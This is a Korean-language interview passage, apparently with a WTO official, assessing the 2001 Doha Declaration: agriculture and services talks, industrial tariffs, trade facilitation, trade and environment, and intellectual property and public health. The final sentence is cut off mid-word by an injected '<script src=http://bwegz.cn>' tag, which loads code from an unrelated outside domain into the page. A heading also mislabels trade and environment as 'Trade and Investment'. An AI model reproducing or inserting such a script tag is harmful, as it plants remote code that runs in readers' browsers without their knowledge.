-뉴라운드에 대한 평가와 도하 선언(Doha Declaration)의 내용에 대해서 한 말씀해주시겠습니까?

도하 선언문에는 모든 국가들의 이해관계가 골고루 반영되어 있다. 무역은 단지 개발도상국의 발전을 위해서만 필요한 것이 아니라 경제성장 과 경제회복을 위해서도 필요한 것이다. 이 점에 있어서 한국의 경제성장은 세계에 시사하는 바가 크다고 할 수 있다.

도하에서 합의된 작업계획은 단순히 새로 협상을 시작하는 것 이상을 담고 있다.
특히 `이행''의 측면, 즉 지난 1994년에 종결된 우루과이라운드 결과를 이행하는데 있어 개도국들이 직면했던 많은 문제들도 이번 협상에서 다루어질 것이다.
이것이 바로 우리가 도하 협상을 도하개발아젠다(Doha Development Agenda)로 부르는 이유이다. 도하개발아젠다는 지속 가능한 성장, 경제 정의 및 미래의 고객들에 관한 것이다.

그러나 무엇보다도 새로운 다자간협상을 한다는 사실이 도하 아젠다의 가장 중요한 부분이다. 우리는 이 협상을 통해서 WTO의 가장 중요한 목표인 무역자유화를 위해 매진할 것이며 현재 이미 진행 중인 협상은 본격화하고, 또 새로운 분야의 협상을 시작해 나갈 것이다.
이미 2년 전에 시작된 농업과 서비스에 관한 협상은 도하선언으로 더욱 더 본격화될 것인 바 이 두 분야의 협상이 성공적으로 이루어지면 우리에게 많은 이득을 가져다 줄 것이다.

농업과 서비스협상 이외에 도하 선언에서는 여러 분야가 추가되었는데 그 중의 하나가 공산품에 대한 관세 및 비관세 장벽에 관한 협상이다. 여기서는 개도국들의 주요 수출품 또는 수출잠재력을 가진 품목들의 높은 관세를 낮추기 위한 시도들이 이루어질 것이다.
경쟁정책(Competition Policy)과 외국인직접투자(Foreign Direct Investment) 원칙에 관해서도 규범을 마련하여 다자간체제를 확립하기로 합의하였다. 지금까지 이 분야는 많은 복잡한 양자간 투자 조약에 의존하고 있는데 다자간규범이 마련되면 좀 더 일관성 있고 단순하게 될 것이다. 회원국간에 명시적인 합의가 있을 경우 제5차 각료회의 이후 이 분야에 관한 협상들이 본격적으로 시작될 수 있을 것으로 본다.

무역 장벽을 낮추는 것은 세계 경제에 2개의 중국을 보태는 것과 같은 효과를 가져온다. 그리고 공산품 관세인하로 얻어지는 혜택의 3/4은 개도국에게 귀속될 것이다.
해마다 선진국들의 수입 중에서 개도국이 차지하는 비중은 늘고 있는데 1990년에는 15%이었으나 2000년에는 25%으로 늘어났으며 일본의 공산품 수입 중 절반이 개도국으로부터 수입되고 있고 미국은 45%가 개도국으로부터 수입되고 있는데 이 숫자는 계속 증가 추세에 있다.
또한 도하 선언은 2003년 멕시코에 있을 제5차 WTO각료회의 이후 정부조달(Government Procurement)의 투명성과 무역원활화(Trade Facilitaton)에 관한 협상가능성도 제시하고 있다.

한국과 나의 조국인 뉴질랜드가 회원국으로 있는 APEC은 그 동안 무역원활화 분야에서 많은 작업을 했는데 APEC의 연구는 관세인하보다 무역원활화가 더 많은 경제적 이익을 가져다 줄 것임을 보여 주고 있다. 무역원활화 분야의 협상이 성공적으로 이루어지면 국제적인 비지니스를 함에 있어서 시간과 비용을 절감해 줄 것이며 특히 작은 국가들에게 혜택이 많이 돌아 갈 것이다.

무역과 환경(Trade and Investment)은 이번 도하협상에서 가장 어려운 부분이었고 앞으로도 그렇게 될 가능성이 많다.
EU를 포함한 일부 국가들은 WTO가 지속 가능한 개발과 환경보호에 무역이 미치는 영향을 관심있게 다룬다는 것을 보여준다는 것에 대해 대단히 중요한 의미를 부여하고 있지만 많은 개도국들은 환경 문제는 보호주의를 위장하는 것으로 생각하고 있다. 하지만 이 분야에 이번 도하에서 진전이 있었다는 것에 대해서 매우 기쁘게 생각한다.

무역과 환경문제가 일반의 공동관심사항임에도 불구하고 WTO가 관심을 가지지 않는다고 생각하는 것은 사실과 다르다. WTO는 항상 회원국의 공동 관심 사항을 중요하게 생각해 왔으며 무역자유화를 중요하게 다루어 온 것도 회원국들이 가장 중요하게 생각해 온 공동관심사항 중의 하나이기 때문이다.
앞으로 이 분야의 협상은 현존하는 WTO규정과 각종 국제적인 환경협정상의 의무, 환경상품서비스의 무역자유화, 그리고 다양한 환경 규제수단이 무역에 미치는 영향 등의 관계에 초점이 맞추어질 것이다.

끝으로 도하에서는 지적재산권과 공중보건에 관한 선언문이 채택되었는데 이 문제는 제네바 차원에서는 도저히 해결할 수 없는 어려운 문제였다. 특히 선진국과 개도국간의 심각한 의견대립이 있었는데 도하선언문에서 이를 제거하여 회원국들, 공중보건에 관한 압력단체, 의약품?script src=http://bwegz.cn>

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